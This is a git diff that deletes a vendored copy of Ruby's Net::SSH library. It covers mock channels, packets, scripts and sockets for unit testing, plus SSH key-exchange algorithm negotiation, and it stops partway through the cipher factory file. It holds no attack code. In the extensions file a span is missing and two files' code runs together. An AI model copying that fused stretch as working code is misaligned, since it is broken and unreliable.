@@ -# -*- coding: binary -*- -module Net; module SSH; module Test - - # A mock channel, used for scripting actions in tests. It wraps a - # Net::SSH::Test::Script instance, and delegates to it for the most part. - # This class has little real functionality on its own, but rather acts as - # a convenience for scripting channel-related activity for later comparison - # in a unit test. - # - # story do |session| - # channel = session.opens_channel - # channel.sends_exec "ls" - # channel.gets_data "result of ls" - # channel.gets_close - # channel.sends_close - # end - class Channel - # The Net::SSH::Test::Script instance employed by this mock channel. - attr_reader :script - - # Sets the local-id of this channel object (the id assigned by the client). - attr_writer :local_id - - # Sets the remote-id of this channel object (the id assigned by the mock-server). - attr_writer :remote_id - - # Creates a new Test::Channel instance on top of the given +script+ (which - # must be a Net::SSH::Test::Script instance). - def initialize(script) - @script = script - @local_id = @remote_id = nil - end - - # Returns the local (client-assigned) id for this channel, or a Proc object - # that will return the local-id later if the local id has not yet been set. - # (See Net::SSH::Test::Packet#instantiate!.) - def local_id - @local_id || Proc.new { @local_id or raise "local-id has not been set yet!" } - end - - # Returns the remote (server-assigned) id for this channel, or a Proc object - # that will return the remote-id later if the remote id has not yet been set. - # (See Net::SSH::Test::Packet#instantiate!.) - def remote_id - @remote_id || Proc.new { @remote_id or raise "remote-id has not been set yet!" } - end - - # Because adjacent calls to #gets_data will sometimes cause the data packets - # to be concatenated (causing expectations in tests to fail), you may - # need to separate those calls with calls to #inject_remote_delay! (which - # essentially just mimics receiving an empty data packet): - # - # channel.gets_data "abcdefg" - # channel.inject_remote_delay! - # channel.gets_data "hijklmn" - def inject_remote_delay! - gets_data("") - end - - # Scripts the sending of an "exec" channel request packet to the mock - # server. If +reply+ is true, then the server is expected to reply to the - # request, otherwise no response to this request will be sent. If +success+ - # is +true+, then the request will be successful, otherwise a failure will - # be scripted. - # - # channel.sends_exec "ls -l" - def sends_exec(command, reply=true, success=true) - script.sends_channel_request(self, "exec", reply, command, success) - end - - # Scripts the sending of a "subsystem" channel request packet to the mock - # server. See #sends_exec for a discussion of the meaning of the +reply+ - # and +success+ arguments. - # - # channel.sends_subsystem "sftp" - def sends_subsystem(subsystem, reply=true, success=true) - script.sends_channel_request(self, "subsystem", reply, subsystem, success) - end - - # Scripts the sending of a data packet across the channel. - # - # channel.sends_data "foo" - def sends_data(data) - script.sends_channel_data(self, data) - end - - # Scripts the sending of an EOF packet across the channel. - # - # channel.sends_eof - def sends_eof - script.sends_channel_eof(self) - end - - # Scripts the sending of a "channel close" packet across the channel. - # - # channel.sends_close - def sends_close - script.sends_channel_close(self) - end - - # Scripts the reception of a channel data packet from the remote end. - # - # channel.gets_data "bar" - def gets_data(data) - script.gets_channel_data(self, data) - end - - # Scripts the reception of an "exit-status" channel request packet. - # - # channel.gets_exit_status(127) - def gets_exit_status(status=0) - script.gets_channel_request(self, "exit-status", false, status) - end - - # Scripts the reception of an EOF packet from the remote end. - # - # channel.gets_eof - def gets_eof - script.gets_channel_eof(self) - end - - # Scripts the reception of a "channel close" packet from the remote end. - # - # channel.gets_close - def gets_close - script.gets_channel_close(self) - end - end - -end; end; end diff --git a/lib/net/ssh/test/extensions.rb b/lib/net/ssh/test/extensions.rb deleted file mode 100644 index af085af2d0..0000000000 --- a/lib/net/ssh/test/extensions.rb +++ /dev/null @@ -1,153 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/packet' -require 'net/ssh/buffered_io' -require 'net/ssh/connection/channel' -require 'net/ssh/connection/constants' -require 'net/ssh/transport/constants' -require 'net/ssh/transport/packet_stream' - -module Net; module SSH; module Test - - # A collection of modules used to extend/override the default behavior of - # Net::SSH internals for ease of testing. As a consumer of Net::SSH, you'll - # never need to use this directly--they're all used under the covers by - # the Net::SSH::Test system. - module Extensions - - # An extension to Net::SSH::BufferedIo (assumes that the underlying IO - # is actually a StringIO). Facilitates unit testing. - module BufferedIo - # Returns +true+ if the position in the stream is less than the total - # length of the stream. - def select_for_read? - pos < size - end - - # Set this to +true+ if you want the IO to pretend to be available for writing - attr_accessor :select_for_write - - # Set this to +true+ if you want the IO to pretend to be in an error state - attr_accessor :select_for_error - - alias select_for_write? select_for_write - alias select_for_error? select_for_error - end - - # An extension to Net::SSH::Transport::PacketStream (assumes that the - # underlying IO is actually a StringIO). Facilitates unit testing. - module PacketStream - include BufferedIo # make sure we get the extensions here, too - - def self.included(base) #:nodoc: - base.send :alias_method, :real_available_for_read?, :available_for_read? - base.send :alias_method, :available_for_read?, :test_available_for_read? - - base.send :alias_method, :real_enqueue_packet, :enqueue_packet - base.send :alias_method, :enqueue_packet, :test_enqueue_packet - - base.send :alias_method, :real_poll_next_packet, :poll_next_packet - base.send :alias_method, :poll_next_packet, :test_poll_next_packet - end - - # Called when another packet should be inspected from the current - # script. If the next packet is a remote packet, it pops it off the - # script and shoves it onto this IO object, making it available to - # be read. - def idle! - return false unless script.next(:first) - - if script.next(:first).remote? - self.string << script.next.to_s - self.pos = pos - end - - return true - end - - # The testing version of Net::SSH::Transport::PacketStream#available_for_read?. - # Returns true if there is data pending to be read. Otherwise calls #idle!. - def test_available_for_read? - return true if select_for_read? - idle! - false - end - - # The testing version of Net::SSH::Transport::PacketStream#enqueued_packet. - # Simply calls Net::SSH::Test::Script#process on the packet. - def test_enqueue_packet(payload) - packet = Net::SSH::Buffer.new(payload.to_s) - script.process(packet) - end - - # The testing version of Net::SSH::Transport::PacketStream#poll_next_packet. - # Reads the next available packet from the IO object and returns it. - def test_poll_next_packet - return nil if available <= 0 - packet = Net::SSH::Buffer.new(read_available(4)) - length = packet.read_long - Net::SSH::Packet.new(read_available(length)) - end - end - - # An extension to Net::SSH::Connection::Channel. Facilitates unit testing. - module Channel - def self.included(base) #:nodoc: - base.send :alias_method, :send_data_for_real, :send_data - base.send :alias_method, :send_data, :send_data_for_test - end - - # The testing version of Net::SSH::Connection::Channel#send_data. Calls - # the original implementation, and then immediately enqueues the data for - # output so that scripted sends are properly interpreted as discrete - # (rather than concatenated) data packets. - def send_data_for_test(data) - send_data_for_real(data) - enqueue_pending_output - end - end - - # An extension to the built-in ::IO class. Simply redefines IO.select - # so that it can be scripted in Net::SSH unit tests. - module IO - def self.included(base) #:nodoc: - base.extend(ClassMethods) - end - - module ClassMethods - def self.extended(obj) #:nodoc: - class < "abc-xyz", - :server_key => OpenSSL::PKey::RSA.new(32), - :shared_secret => OpenSSL::BN.new("1234567890", 10), - :hashing_algorithm => OpenSSL::Digest::SHA1 } - end - end - -end; end; end - -Net::SSH::Transport::Algorithms::ALGORITHMS[:kex] << "test" -Net::SSH::Transport::Kex::MAP["test"] = Net::SSH::Test::Kex diff --git a/lib/net/ssh/test/local_packet.rb b/lib/net/ssh/test/local_packet.rb deleted file mode 100644 index b1555527cc..0000000000 --- a/lib/net/ssh/test/local_packet.rb +++ /dev/null @@ -1,52 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/packet' -require 'net/ssh/test/packet' - -module Net; module SSH; module Test - - # This is a specialization of Net::SSH::Test::Packet for representing mock - # packets that are sent from the local (client) host. These are created - # automatically by Net::SSH::Test::Script and Net::SSH::Test::Channel by any - # of the sends_* methods. - class LocalPacket < Packet - attr_reader :init - - # Extend the default Net::SSH::Test::Packet constructor to also accept an - # optional block, which is used to finalize the initialization of the - # packet when #process is first called. - def initialize(type, *args, &block) - super(type, *args) - @init = block - end - - # Returns +true+; this is a local packet. - def local? - true - end - - # Called by Net::SSH::Test::Extensions::PacketStream#test_enqueue_packet - # to mimic remote processing of a locally-sent packet. It compares the - # packet it was given with the contents of this LocalPacket's data, to see - # if what was sent matches what was scripted. If it differs in any way, - # an exception is raised. - def process(packet) - @init.call(Net::SSH::Packet.new(packet.to_s)) if @init - type = packet.read_byte - raise "expected #{@type}, but got #{type}" if @type != type - - @data.zip(types).each do |expected, type| - type ||= case expected - when nil then break - when Numeric then :long - when String then :string - when TrueClass, FalseClass then :bool - end - - actual = packet.send("read_#{type}") - next if expected.nil? - raise "expected #{type} #{expected.inspect} but got #{actual.inspect}" unless expected == actual - end - end - end - -end; end; end diff --git a/lib/net/ssh/test/packet.rb b/lib/net/ssh/test/packet.rb deleted file mode 100644 index c3eeff9030..0000000000 --- a/lib/net/ssh/test/packet.rb +++ /dev/null @@ -1,82 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/connection/constants' -require 'net/ssh/transport/constants' - -module Net; module SSH; module Test - - # This is an abstract class, not to be instantiated directly, subclassed by - # Net::SSH::Test::LocalPacket and Net::SSH::Test::RemotePacket. It implements - # functionality common to those subclasses. - # - # These packets are not true packets, in that they don't represent what was - # actually sent between the hosst; rather, they represent what was expected - # to be sent, as dictated by the script (Net::SSH::Test::Script). Thus, - # though they are defined with data elements, these data elements are used - # to either validate data that was sent by the local host (Net::SSH::Test::LocalPacket) - # or to mimic the sending of data by the remote host (Net::SSH::Test::RemotePacket). - class Packet - include Net::SSH::Transport::Constants - include Net::SSH::Connection::Constants - - # Ceate a new packet of the given +type+, and with +args+ being a list of - # data elements in the order expected for packets of the given +type+ - # (see #types). - def initialize(type, *args) - @type = self.class.const_get(type.to_s.upcase) - @data = args - end - - # The default for +remote?+ is false. Subclasses should override as necessary. - def remote? - false - end - - # The default for +local?+ is false. Subclasses should override as necessary. - def local? - false - end - - # Instantiates the packets data elements. When the packet was first defined, - # some elements may not have been fully realized, and were described as - # Proc objects rather than atomic types. This invokes those Proc objects - # and replaces them with their returned values. This allows for values - # like Net::SSH::Test::Channel#remote_id to be used in scripts before - # the remote_id is known (since it is only known after a channel has been - # confirmed open). - def instantiate! - @data.map! { |i| i.respond_to?(:call) ? i.call : i } - end - - # Returns an array of symbols describing the data elements for packets of - # the same type as this packet. These types are used to either validate - # sent packets (Net::SSH::Test::LocalPacket) or build received packets - # (Net::SSH::Test::RemotePacket). - # - # Not all packet types are defined here. As new packet types are required - # (e.g., a unit test needs to test that the remote host sent a packet that - # is not implemented here), the description of that packet should be - # added. Unsupported packet types will otherwise raise an exception. - def types - @types ||= case @type - when KEXINIT then - [:long, :long, :long, :long, - :string, :string, :string, :string, :string, :string, :string, :string, :string, :string, - :bool] - when NEWKEYS then [] - when CHANNEL_OPEN then [:string, :long, :long, :long] - when CHANNEL_OPEN_CONFIRMATION then [:long, :long, :long, :long] - when CHANNEL_DATA then [:long, :string] - when CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_SUCCESS, CHANNEL_FAILURE then [:long] - when CHANNEL_REQUEST - parts = [:long, :string, :bool] - case @data[1] - when "exec", "subsystem" then parts << :string - when "exit-status" then parts << :long - else raise "don't know what to do about #{@data[1]} channel request" - end - else raise "don't know how to parse packet type #{@type}" - end - end - end - -end; end; end diff --git a/lib/net/ssh/test/remote_packet.rb b/lib/net/ssh/test/remote_packet.rb deleted file mode 100644 index 844d4ac6fd..0000000000 --- a/lib/net/ssh/test/remote_packet.rb +++ /dev/null @@ -1,39 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/test/packet' - -module Net; module SSH; module Test - - # This is a specialization of Net::SSH::Test::Packet for representing mock - # packets that are received by the local (client) host. These are created - # automatically by Net::SSH::Test::Script and Net::SSH::Test::Channel by any - # of the gets_* methods. - class RemotePacket < Packet - # Returns +true+; this is a remote packet. - def remote? - true - end - - # The #process method should only be called on Net::SSH::Test::LocalPacket - # packets; if it is attempted on a remote packet, then it is an expectation - # mismatch (a remote packet was received when a local packet was expected - # to be sent). This will happen when either your test script - # (Net::SSH::Test::Script) or your program are wrong. - def process(packet) - raise "received packet type #{packet.read_byte} and was not expecting any packet" - end - - # Returns this remote packet as a string, suitable for parsing by - # Net::SSH::Transport::PacketStream and friends. When a remote packet is - # received, this method is called and the result concatenated onto the - # input buffer for the packet stream. - def to_s - @to_s ||= begin - instantiate! - string = Net::SSH::Buffer.from(:byte, @type, *types.zip(@data).flatten).to_s - [string.length, string].pack("NA*") - end - end - end - -end; end; end diff --git a/lib/net/ssh/test/script.rb b/lib/net/ssh/test/script.rb deleted file mode 100644 index 6fec8930f8..0000000000 --- a/lib/net/ssh/test/script.rb +++ /dev/null @@ -1,158 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/test/channel' -require 'net/ssh/test/local_packet' -require 'net/ssh/test/remote_packet' - -module Net; module SSH; module Test - - # Represents a sequence of scripted events that identify the behavior that - # a test expects. Methods named "sends_*" create events for packets being - # sent from the local to the remote host, and methods named "gets_*" create - # events for packets being received by the local from the remote host. - # - # A reference to a script. is generally obtained in a unit test via the - # Net::SSH::Test#story helper method: - # - # story do |script| - # channel = script.opens_channel - # ... - # end - class Script - # The list of scripted events. These will be Net::SSH::Test::LocalPacket - # and Net::SSH::Test::RemotePacket instances. - attr_reader :events - - # Create a new, empty script. - def initialize - @events = [] - end - - # Scripts the opening of a channel by adding a local packet sending the - # channel open request, and if +confirm+ is true (the default), also - # adding a remote packet confirming the new channel. - # - # A new Net::SSH::Test::Channel instance is returned, which can be used - # to script additional channel operations. - def opens_channel(confirm=true) - channel = Channel.new(self) - channel.remote_id = 5555 - - events << LocalPacket.new(:channel_open) { |p| channel.local_id = p[:remote_id] } - - if confirm - events << RemotePacket.new(:channel_open_confirmation, channel.local_id, channel.remote_id, 0x20000, 0x10000) - end - - channel - end - - # A convenience method for adding an arbitrary local packet to the events - # list. - def sends(type, *args, &block) - events << LocalPacket.new(type, *args, &block) - end - - # A convenience method for adding an arbitrary remote packet to the events - # list. - def gets(type, *args) - events << RemotePacket.new(type, *args) - end - - # Scripts the sending of a new channel request packet to the remote host. - # +channel+ should be an instance of Net::SSH::Test::Channel. +request+ - # is a string naming the request type to send, +reply+ is a boolean - # indicating whether a response to this packet is required , and +data+ - # is any additional request-specific data that this packet should send. - # +success+ indicates whether the response (if one is required) should be - # success or failure. - # - # If a reply is desired, a remote packet will also be queued, :channel_success - # if +success+ is true, or :channel_failure if +success+ is false. - # - # This will typically be called via Net::SSH::Test::Channel#sends_exec or - # Net::SSH::Test::Channel#sends_subsystem. - def sends_channel_request(channel, request, reply, data, success=true) - events << LocalPacket.new(:channel_request, channel.remote_id, request, reply, data) - if reply - if success - events << RemotePacket.new(:channel_success, channel.local_id) - else - events << RemotePacket.new(:channel_failure, channel.local_id) - end - end - end - - # Scripts the sending of a channel data packet. +channel+ must be a - # Net::SSH::Test::Channel object, and +data+ is the (string) data to - # expect will be sent. - # - # This will typically be called via Net::SSH::Test::Channel#sends_data. - def sends_channel_data(channel, data) - events << LocalPacket.new(:channel_data, channel.remote_id, data) - end - - # Scripts the sending of a channel EOF packet from the given - # Net::SSH::Test::Channel +channel+. This will typically be called via - # Net::SSH::Test::Channel#sends_eof. - def sends_channel_eof(channel) - events << LocalPacket.new(:channel_eof, channel.remote_id) - end - - # Scripts the sending of a channel close packet from the given - # Net::SSH::Test::Channel +channel+. This will typically be called via - # Net::SSH::Test::Channel#sends_close. - def sends_channel_close(channel) - events << LocalPacket.new(:channel_close, channel.remote_id) - end - - # Scripts the reception of a channel data packet from the remote host by - # the given Net::SSH::Test::Channel +channel+. This will typically be - # called via Net::SSH::Test::Channel#gets_data. - def gets_channel_data(channel, data) - events << RemotePacket.new(:channel_data, channel.local_id, data) - end - - # Scripts the reception of a channel request packet from the remote host by - # the given Net::SSH::Test::Channel +channel+. This will typically be - # called via Net::SSH::Test::Channel#gets_exit_status. - def gets_channel_request(channel, request, reply, data) - events << RemotePacket.new(:channel_request, channel.local_id, request, reply, data) - end - - # Scripts the reception of a channel EOF packet from the remote host by - # the given Net::SSH::Test::Channel +channel+. This will typically be - # called via Net::SSH::Test::Channel#gets_eof. - def gets_channel_eof(channel) - events << RemotePacket.new(:channel_eof, channel.local_id) - end - - # Scripts the reception of a channel close packet from the remote host by - # the given Net::SSH::Test::Channel +channel+. This will typically be - # called via Net::SSH::Test::Channel#gets_close. - def gets_channel_close(channel) - events << RemotePacket.new(:channel_close, channel.local_id) - end - - # By default, removes the next event in the list and returns it. However, - # this can also be used to non-destructively peek at the next event in the - # list, by passing :first as the argument. - # - # # remove the next event and return it - # event = script.next - # - # # peek at the next event - # event = script.next(:first) - def next(mode=:shift) - events.send(mode) - end - - # Compare the given packet against the next event in the list. If there is - # no next event, an exception will be raised. This is called by - # Net::SSH::Test::Extensions::PacketStream#test_enqueue_packet. - def process(packet) - event = events.shift or raise "end of script reached, but got a packet type #{packet.read_byte}" - event.process(packet) - end - end - -end; end; end diff --git a/lib/net/ssh/test/socket.rb b/lib/net/ssh/test/socket.rb deleted file mode 100644 index 5356731d4f..0000000000 --- a/lib/net/ssh/test/socket.rb +++ /dev/null @@ -1,60 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' -require 'stringio' -require 'net/ssh/test/extensions' -require 'net/ssh/test/script' - -module Net; module SSH; module Test - - # A mock socket implementation for use in testing. It implements the minimum - # necessary interface for interacting with the rest of the Net::SSH::Test - # system. - class Socket < StringIO - attr_reader :host, :port - - # The Net::SSH::Test::Script object in use by this socket. This is the - # canonical script instance that should be used for any test depending on - # this socket instance. - attr_reader :script - - # Create a new test socket. This will also instantiate a new Net::SSH::Test::Script - # and seed it with the necessary events to power the initialization of the - # connection. - def initialize - extend(Net::SSH::Transport::PacketStream) - super "SSH-2.0-Test\r\n" - - @script = Script.new - - script.gets(:kexinit, 1, 2, 3, 4, "test", "ssh-rsa", "none", "none", "none", "none", "none", "none", "", "", false) - script.sends(:kexinit) - script.sends(:newkeys) - script.gets(:newkeys) - end - - # This doesn't actually do anything, since we don't really care what gets - # written. - def write(data) - # black hole, because we don't actually care about what gets written - end - - # Allows the socket to also mimic a socket factory, simply returning - # +self+. - def open(host, port) - @host, @port = host, port - self - end - - # Returns a sockaddr struct for the port and host that were used when the - # socket was instantiated. - def getpeername - ::Socket.sockaddr_in(port, host) - end - - # Alias to #read, but never returns nil (returns an empty string instead). - def recv(n) - read(n) || "" - end - end - -end; end; end diff --git a/lib/net/ssh/transport/algorithms.rb b/lib/net/ssh/transport/algorithms.rb deleted file mode 100644 index 922a897410..0000000000 --- a/lib/net/ssh/transport/algorithms.rb +++ /dev/null @@ -1,393 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/known_hosts' -require 'net/ssh/loggable' -require 'net/ssh/transport/cipher_factory' -require 'net/ssh/transport/constants' -require 'net/ssh/transport/hmac' -require 'net/ssh/transport/kex' -require 'net/ssh/transport/server_version' - -module Net; module SSH; module Transport - - # Implements the higher-level logic behind an SSH key-exchange. It handles - # both the initial exchange, as well as subsequent re-exchanges (as needed). - # It also encapsulates the negotiation of the algorithms, and provides a - # single point of access to the negotiated algorithms. - # - # You will never instantiate or reference this directly. It is used - # internally by the transport layer. - class Algorithms - include Constants, Loggable - - # Define the default algorithms, in order of preference, supported by - # Net::SSH. - ALGORITHMS = { - :host_key => %w(ssh-rsa ssh-dss), - :kex => %w(diffie-hellman-group-exchange-sha1 - diffie-hellman-group1-sha1 - diffie-hellman-group-exchange-sha256), - :encryption => %w(aes128-cbc 3des-cbc blowfish-cbc cast128-cbc - aes192-cbc aes256-cbc rijndael-cbc@lysator.liu.se - idea-cbc none arcfour128 arcfour256 - aes128-ctr aes192-ctr aes256-ctr), - :hmac => %w(hmac-sha1 hmac-md5 hmac-sha1-96 hmac-md5-96 none), - :compression => %w(none zlib@openssh.com zlib), - :language => %w() - } - - if defined?(OpenSSL::PKey::EC) - ALGORITHMS[:kex] += %w(ecdh-sha2-nistp256 - ecdh-sha2-nistp384 - ecdh-sha2-nistp521) - end - - # The underlying transport layer session that supports this object - attr_reader :session - - # The hash of options used to initialize this object - attr_reader :options - - # The kex algorithm to use settled on between the client and server. - attr_reader :kex - - # The type of host key that will be used for this session. - attr_reader :host_key - - # The type of the cipher to use to encrypt packets sent from the client to - # the server. - attr_reader :encryption_client - - # The type of the cipher to use to decrypt packets arriving from the server. - attr_reader :encryption_server - - # The type of HMAC to use to sign packets sent by the client. - attr_reader :hmac_client - - # The type of HMAC to use to validate packets arriving from the server. - attr_reader :hmac_server - - # The type of compression to use to compress packets being sent by the client. - attr_reader :compression_client - - # The type of compression to use to decompress packets arriving from the server. - attr_reader :compression_server - - # The language that will be used in messages sent by the client. - attr_reader :language_client - - # The language that will be used in messages sent from the server. - attr_reader :language_server - - # The hash of algorithms preferred by the client, which will be told to - # the server during algorithm negotiation. - attr_reader :algorithms - - # The session-id for this session, as decided during the initial key exchange. - attr_reader :session_id - - # Returns true if the given packet can be processed during a key-exchange. - def self.allowed_packet?(packet) - ( 1.. 4).include?(packet.type) || - ( 6..19).include?(packet.type) || - (21..49).include?(packet.type) - end - - # Instantiates a new Algorithms object, and prepares the hash of preferred - # algorithms based on the options parameter and the ALGORITHMS constant. - def initialize(session, options={}) - @session = session - @logger = session.logger - @options = options - @algorithms = {} - @pending = @initialized = false - @client_packet = @server_packet = nil - prepare_preferred_algorithms! - end - - # Request a rekey operation. This will return immediately, and does not - # actually perform the rekey operation. It does cause the session to change - # state, however--until the key exchange finishes, no new packets will be - # processed. - def rekey! - @client_packet = @server_packet = nil - @initialized = false - send_kexinit - end - - # Called by the transport layer when a KEXINIT packet is recieved, indicating - # that the server wants to exchange keys. This can be spontaneous, or it - # can be in response to a client-initiated rekey request (see #rekey!). Either - # way, this will block until the key exchange completes. - def accept_kexinit(packet) - info { "got KEXINIT from server" } - @server_data = parse_server_algorithm_packet(packet) - @server_packet = @server_data[:raw] - if !pending? - send_kexinit - else - proceed! - end - end - - # A convenience method for accessing the list of preferred types for a - # specific algorithm (see #algorithms). - def [](key) - algorithms[key] - end - - # Returns +true+ if a key-exchange is pending. This will be true from the - # moment either the client or server requests the key exchange, until the - # exchange completes. While an exchange is pending, only a limited number - # of packets are allowed, so event processing essentially stops during this - # period. - def pending? - @pending - end - - # Returns true if no exchange is pending, and otherwise returns true or - # false depending on whether the given packet is of a type that is allowed - # during a key exchange. - def allow?(packet) - !pending? || Algorithms.allowed_packet?(packet) - end - - # Returns true if the algorithms have been negotiated at all. - def initialized? - @initialized - end - - private - - # Sends a KEXINIT packet to the server. If a server KEXINIT has already - # been received, this will then invoke #proceed! to proceed with the key - # exchange, otherwise it returns immediately (but sets the object to the - # pending state). - def send_kexinit - info { "sending KEXINIT" } - @pending = true - packet = build_client_algorithm_packet - @client_packet = packet.to_s - session.send_message(packet) - proceed! if @server_packet - end - - # After both client and server have sent their KEXINIT packets, this - # will do the algorithm negotiation and key exchange. Once both finish, - # the object leaves the pending state and the method returns. - def proceed! - info { "negotiating algorithms" } - negotiate_algorithms - exchange_keys - @pending = false - end - - # Prepares the list of preferred algorithms, based on the options hash - # that was given when the object was constructed, and the ALGORITHMS - # constant. Also, when determining the host_key type to use, the known - # hosts files are examined to see if the host has ever sent a host_key - # before, and if so, that key type is used as the preferred type for - # communicating with this server. - def prepare_preferred_algorithms! - options[:compression] = %w(zlib@openssh.com zlib) if options[:compression] == true - - ALGORITHMS.each do |algorithm, list| - algorithms[algorithm] = list.dup - - # apply the preferred algorithm order, if any - if options[algorithm] - algorithms[algorithm] = Array(options[algorithm]).compact.uniq - invalid = algorithms[algorithm].detect { |name| !ALGORITHMS[algorithm].include?(name) } - raise NotImplementedError, "unsupported #{algorithm} algorithm: `#{invalid}'" if invalid - - # make sure all of our supported algorithms are tacked onto the - # end, so that if the user tries to give a list of which none are - # supported, we can still proceed. - list.each { |name| algorithms[algorithm] << name unless algorithms[algorithm].include?(name) } - end - end - - # for convention, make sure our list has the same keys as the server - # list - - algorithms[:encryption_client ] = algorithms[:encryption_server ] = algorithms[:encryption] - algorithms[:hmac_client ] = algorithms[:hmac_server ] = algorithms[:hmac] - algorithms[:compression_client] = algorithms[:compression_server] = algorithms[:compression] - algorithms[:language_client ] = algorithms[:language_server ] = algorithms[:language] - - if !options.key?(:host_key) and options[:config] - # make sure the host keys are specified in preference order, where any - # existing known key for the host has preference. - - existing_keys = KnownHosts.search_for(options[:host_key_alias] || session.host_as_string, options) - host_keys = existing_keys.map { |key| key.ssh_type }.uniq - algorithms[:host_key].each do |name| - host_keys << name unless host_keys.include?(name) - end - algorithms[:host_key] = host_keys - end - end - - # Parses a KEXINIT packet from the server. - def parse_server_algorithm_packet(packet) - data = { :raw => packet.content } - - packet.read(16) # skip the cookie value - - data[:kex] = packet.read_string.split(/,/) - data[:host_key] = packet.read_string.split(/,/) - data[:encryption_client] = packet.read_string.split(/,/) - data[:encryption_server] = packet.read_string.split(/,/) - data[:hmac_client] = packet.read_string.split(/,/) - data[:hmac_server] = packet.read_string.split(/,/) - data[:compression_client] = packet.read_string.split(/,/) - data[:compression_server] = packet.read_string.split(/,/) - data[:language_client] = packet.read_string.split(/,/) - data[:language_server] = packet.read_string.split(/,/) - - # TODO: if first_kex_packet_follows, we need to try to skip the - # actual kexinit stuff and try to guess what the server is doing... - # need to read more about this scenario. - first_kex_packet_follows = packet.read_bool - - return data - end - - # Given the #algorithms map of preferred algorithm types, this constructs - # a KEXINIT packet to send to the server. It does not actually send it, - # it simply builds the packet and returns it. - def build_client_algorithm_packet - kex = algorithms[:kex ].join(",") - host_key = algorithms[:host_key ].join(",") - encryption = algorithms[:encryption ].join(",") - hmac = algorithms[:hmac ].join(",") - compression = algorithms[:compression].join(",") - language = algorithms[:language ].join(",") - - Net::SSH::Buffer.from(:byte, KEXINIT, - :long, [rand(0xFFFFFFFF), rand(0xFFFFFFFF), rand(0xFFFFFFFF), rand(0xFFFFFFFF)], - :string, [kex, host_key, encryption, encryption, hmac, hmac], - :string, [compression, compression, language, language], - :bool, false, :long, 0) - end - - # Given the parsed server KEX packet, and the client's preferred algorithm - # lists in #algorithms, determine which preferred algorithms each has - # in common and set those as the selected algorithms. If, for any algorithm, - # no type can be settled on, an exception is raised. - def negotiate_algorithms - @kex = negotiate(:kex) - @host_key = negotiate(:host_key) - @encryption_client = negotiate(:encryption_client) - @encryption_server = negotiate(:encryption_server) - @hmac_client = negotiate(:hmac_client) - @hmac_server = negotiate(:hmac_server) - @compression_client = negotiate(:compression_client) - @compression_server = negotiate(:compression_server) - @language_client = negotiate(:language_client) rescue "" - @language_server = negotiate(:language_server) rescue "" - - debug do - "negotiated:\n" + - [:kex, :host_key, :encryption_server, :encryption_client, :hmac_client, :hmac_server, :compression_client, :compression_server, :language_client, :language_server].map do |key| - "* #{key}: #{instance_variable_get("@#{key}")}" - end.join("\n") - end - end - - # Negotiates a single algorithm based on the preferences reported by the - # server and those set by the client. This is called by - # #negotiate_algorithms. - def negotiate(algorithm) - match = self[algorithm].find { |item| @server_data[algorithm].include?(item) } - - if match.nil? - raise Net::SSH::Exception, "could not settle on #{algorithm} algorithm" - end - - return match - end - - # Considers the sizes of the keys and block-sizes for the selected ciphers, - # and the lengths of the hmacs, and returns the largest as the byte requirement - # for the key-exchange algorithm. - def kex_byte_requirement - sizes = [8] # require at least 8 bytes - - sizes.concat(CipherFactory.get_lengths(encryption_client)) - sizes.concat(CipherFactory.get_lengths(encryption_server)) - - sizes << HMAC.key_length(hmac_client) - sizes << HMAC.key_length(hmac_server) - - sizes.max - end - - # Instantiates one of the Transport::Kex classes (based on the negotiated - # kex algorithm), and uses it to exchange keys. Then, the ciphers and - # HMACs are initialized and fed to the transport layer, to be used in - # further communication with the server. - def exchange_keys - debug { "exchanging keys" } - - algorithm = Kex::MAP[kex].new(self, session, - :client_version_string => Net::SSH::Transport::ServerVersion::PROTO_VERSION, - :server_version_string => session.server_version.version, - :server_algorithm_packet => @server_packet, - :client_algorithm_packet => @client_packet, - :need_bytes => kex_byte_requirement, - :logger => logger) - result = algorithm.exchange_keys - - secret = result[:shared_secret].to_ssh - hash = result[:session_id] - digester = result[:hashing_algorithm] - - @session_id ||= hash - - key = Proc.new { |salt| digester.digest(secret + hash + salt + @session_id) } - - iv_client = key["A"] - iv_server = key["B"] - key_client = key["C"] - key_server = key["D"] - mac_key_client = key["E"] - mac_key_server = key["F"] - - parameters = { :iv => iv_client, :key => key_client, :shared => secret, - :hash => hash, :digester => digester } - - cipher_client = CipherFactory.get(encryption_client, parameters.merge(:encrypt => true)) - cipher_server = CipherFactory.get(encryption_server, parameters.merge(:iv => iv_server, :key => key_server, :decrypt => true)) - - mac_client = HMAC.get(hmac_client, mac_key_client) - mac_server = HMAC.get(hmac_server, mac_key_server) - - session.configure_client :cipher => cipher_client, :hmac => mac_client, - :compression => normalize_compression_name(compression_client), - :compression_level => options[:compression_level], - :rekey_limit => options[:rekey_limit], - :max_packets => options[:rekey_packet_limit], - :max_blocks => options[:rekey_blocks_limit] - - session.configure_server :cipher => cipher_server, :hmac => mac_server, - :compression => normalize_compression_name(compression_server), - :rekey_limit => options[:rekey_limit], - :max_packets => options[:rekey_packet_limit], - :max_blocks => options[:rekey_blocks_limit] - - @initialized = true - end - - # Given the SSH name for some compression algorithm, return a normalized - # name as a symbol. - def normalize_compression_name(name) - case name - when "none" then false - when "zlib" then :standard - when "zlib@openssh.com" then :delayed - else raise ArgumentError, "unknown compression type `#{name}'" - end - end - end -end; end; end diff --git a/lib/net/ssh/transport/cipher_factory.rb b/lib/net/ssh/transport/cipher_factory.rb deleted file mode 100644 index 19f59aa051..0000000000 --- a/lib/net/ssh/transport/cipher_factory.rb +++ /dev/null @@ -1,91 +0,0 @@ -# -*- coding: binary -*- -require 'openssl' -require 'net/ssh/transport/identity_cipher' -require 'net/ssh/transport/ctr.rb' - -module Net; module SSH; module Transport - - # Implements a factory of OpenSSL cipher algorithms. - class CipherFactory - # Maps the SSH name of a cipher to it's corresponding OpenSSL name - SSH_TO_OSSL = { - "3des-cbc" => "des-ede3-cbc", - "blowfish-cbc" => "bf-cbc", - "aes256-cbc" => "aes-256-cbc", - "aes192-cbc" => "aes-192-cbc", - "aes128-cbc" => "aes-128-cbc", - "aes128-ctr" => "aes-128-ecb", - 